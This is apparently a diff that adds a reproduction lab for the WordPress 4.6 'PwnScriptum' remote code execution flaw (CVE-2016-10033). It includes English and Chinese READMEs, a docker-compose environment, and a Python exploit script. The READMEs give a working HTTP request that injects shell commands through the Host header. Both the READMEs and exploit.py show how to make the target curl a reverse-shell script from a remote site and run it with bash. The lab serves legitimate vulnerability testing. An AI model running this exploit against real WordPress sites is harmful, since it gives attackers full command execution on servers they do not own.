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wordpress/pwnscriptum/README.md

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+# Wordpress 4.6 Remote Code Execution Vulnerability (PwnScriptum)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+## Reference link
+
+https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
+
+## Environment setup
+
+```
+docker compose build
+docker compose up -d
+```
+
+Because Mysql initialization needs a little time, so please wait. After initialization succeeds, visit `http://your-ip:8080/`, set the administrator username and password to use it (the database is configured and not automatically updated).
+
+## Exploit
+
+Send the following packet, and you can see that `/tmp/success` has been successfully created:
+
+```
+POST /wp-login.php?action=lostpassword HTTP/1.1
+Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
+Connection: close
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Accept: */*
+Content-Length: 56
+Content-Type: application/x-www-form-urlencoded
+
+wp-submit=Get+New+Password&redirect_to=&user_login=admin
+```
+
+We need to meet the following requirements to exploit this vulnerability:
+
+1. The executed command cannot contain some special characters, such as `:`, `'`,`"`, etc.
+2. The command will be converted to lowercase letters
+3. The command needs to use an absolute path
+4. Need know an existing user username
+
+In order to solve these problems, the vulnerability author came up with `${substr{0}{1}{$spool_directory}}` instead of `/`, using `${substr{10}{1}{$tod_log}}` method of replacing spaces.
+
+However, there are still a lot of characters can't be used. So we need to put the command on the third-party website, and then download it to `/tmp` directory by `curl -o /tmp/rce example.com/shell.sh`.
+
+Therefore, the expliot process is follows:
+
+- Write the exp of reverse shell and put it on a site. The exp have this following requirements:
+  - the entire url's uppercase letters will be converted to lowercase, so the file path should not contain uppercase letters.
+  - Access to this page can't be redirected because the parameter for follow redirect is `-L` (uppercase).
+- Splice the command`/usr/bin/curl -o/tmp/rce example.com/shell.sh`and`/bin/bash /tmp/rce`.
+- Convert the spaces and `/` in the command to `${substr{10}{1}{$tod_log}}` and `${substr{0}{1}{$spool_directory}}`.
+- Produce the HTTP Host header:`target(any -froot@localhost -be ${run{command}} null)`.
+- Send these two packets in order.
+
+Here is [expliot.py](exploit.py)，change `target` to your target site，change `user` to an exist user name，change `shell_url` to your payload site.
+
+Execute to get the shell:
+
+![](1.png)

wordpress/pwnscriptum/README.zh-cn.md

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+# Wordpress 4.6 任意命令执行漏洞（PwnScriptum）
+
+## 原理
+
+参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
+
+## 测试环境
+
+编译及运行测试环境
+
+```
+docker compose build
+docker compose up -d
+```
+
+由于Mysql初始化需要一段时间，所以请等待。成功运行后，访问`http://your-ip:8080/`打开站点，初始化管理员用户名和密码后即可使用（数据库等已经配置好，且不会自动更新）。
+
+## 测试与EXP使用
+
+发送如下数据包，可见`/tmp/success`已经成功创建：
+
+```
+POST /wp-login.php?action=lostpassword HTTP/1.1
+Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
+Connection: close
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Accept: */*
+Content-Length: 56
+Content-Type: application/x-www-form-urlencoded
+
+wp-submit=Get+New+Password&redirect_to=&user_login=admin
+```
+
+但实际利用起来，还是有一些坑需要踏过。具体的坑有这么几个：
+
+1. 执行的命令不能包含大量特殊字符，如`:`、引号等。
+2. 命令会被转换成小写字母
+3. 命令需要使用绝对路径
+4. 需要知道某一个存在的用户的用户名
+
+为了解决这些坑，漏洞作者想出了，利用`${substr{0}{1}{$spool_directory}}`代替`/`，用`${substr{10}{1}{$tod_log}}`代替空格的方法。
+
+但是还是有很多字符不能用，所以我们需要将待执行的命令放到第三方网站中，然后通过`curl -o /tmp/rce example.com/shell.sh`的方法先将他下载到/tmp目录中，再去执行。
+
+所以，总体来说利用过程如下：
+
+- 编写反弹shell的exp，放到某个网页里。有如下要求：
+  - 整个url的大写字母会被转换成小写，所以大写小敏感的系统不要使用大写字母做文件路径
+  - 访问该网页不能跳转，因为follow跳转的参数是`-L`（大写）
+- 拼接成命令`/usr/bin/curl -o/tmp/rce example.com/shell.sh`和命令`/bin/bash /tmp/rce`
+- 将上述命令中的空格和`/`转换成`${substr{10}{1}{$tod_log}}`和`${substr{0}{1}{$spool_directory}}`
+- 拼接成HTTP包的Host头：`target(any -froot@localhost -be ${run{command}} null)`
+- 依次发送这两个拼接好的数据包
+
+我将上述过程写成[exp脚本](exploit.py)，将脚本中target修改成你的目标，user修改成一个已经存在的用户，`shell_url`修改成你放置payload的网址。（或直接将target作为第一个参数、`shell_url`作为第二个参数）
+
+执行即可获得shell：
+
+![](1.png)

wordpress/pwnscriptum/docker-compose.yml

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+version: '2'
+services:
+ web:
+   image: vulhub/wordpress:4.6
+   depends_on:
+    - mysql
+   environment: 
+    - WORDPRESS_DB_HOST=mysql:3306
+    - WORDPRESS_DB_USER=root
+    - WORDPRESS_DB_PASSWORD=root
+    - WORDPRESS_DB_NAME=wordpress
+   ports:
+    - "8080:80"
+ mysql:
+   image: mysql:5
+   environment: 
+    - MYSQL_ROOT_PASSWORD=root

wordpress/pwnscriptum/exploit.py

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+#!/usr/bin/env python3
+import requests
+import sys
+
+# wordpress's url
+target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
+# Put your command in a website, and use the website's url
+# don't contains "http://", must be all lowercase
+shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
+# an exists user
+user = 'admin'
+
+def generate_command(command):
+    command = '${run{%s}}' % command
+    command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
+    command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
+    return 'target(any -froot@localhost -be %s null)' % command
+
+
+session = requests.session()
+data = {
+    'user_login': user,
+    'redirect_to': '',
+    'wp-submit': 'Get New Password'
+}
+session.headers = {
+    'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
+    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
+}
+session.allow_redirects = False
+target += '/wp-login.php?action=lostpassword'
+session.post(target, data=data)
+
+session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
+session.post(target, data=data)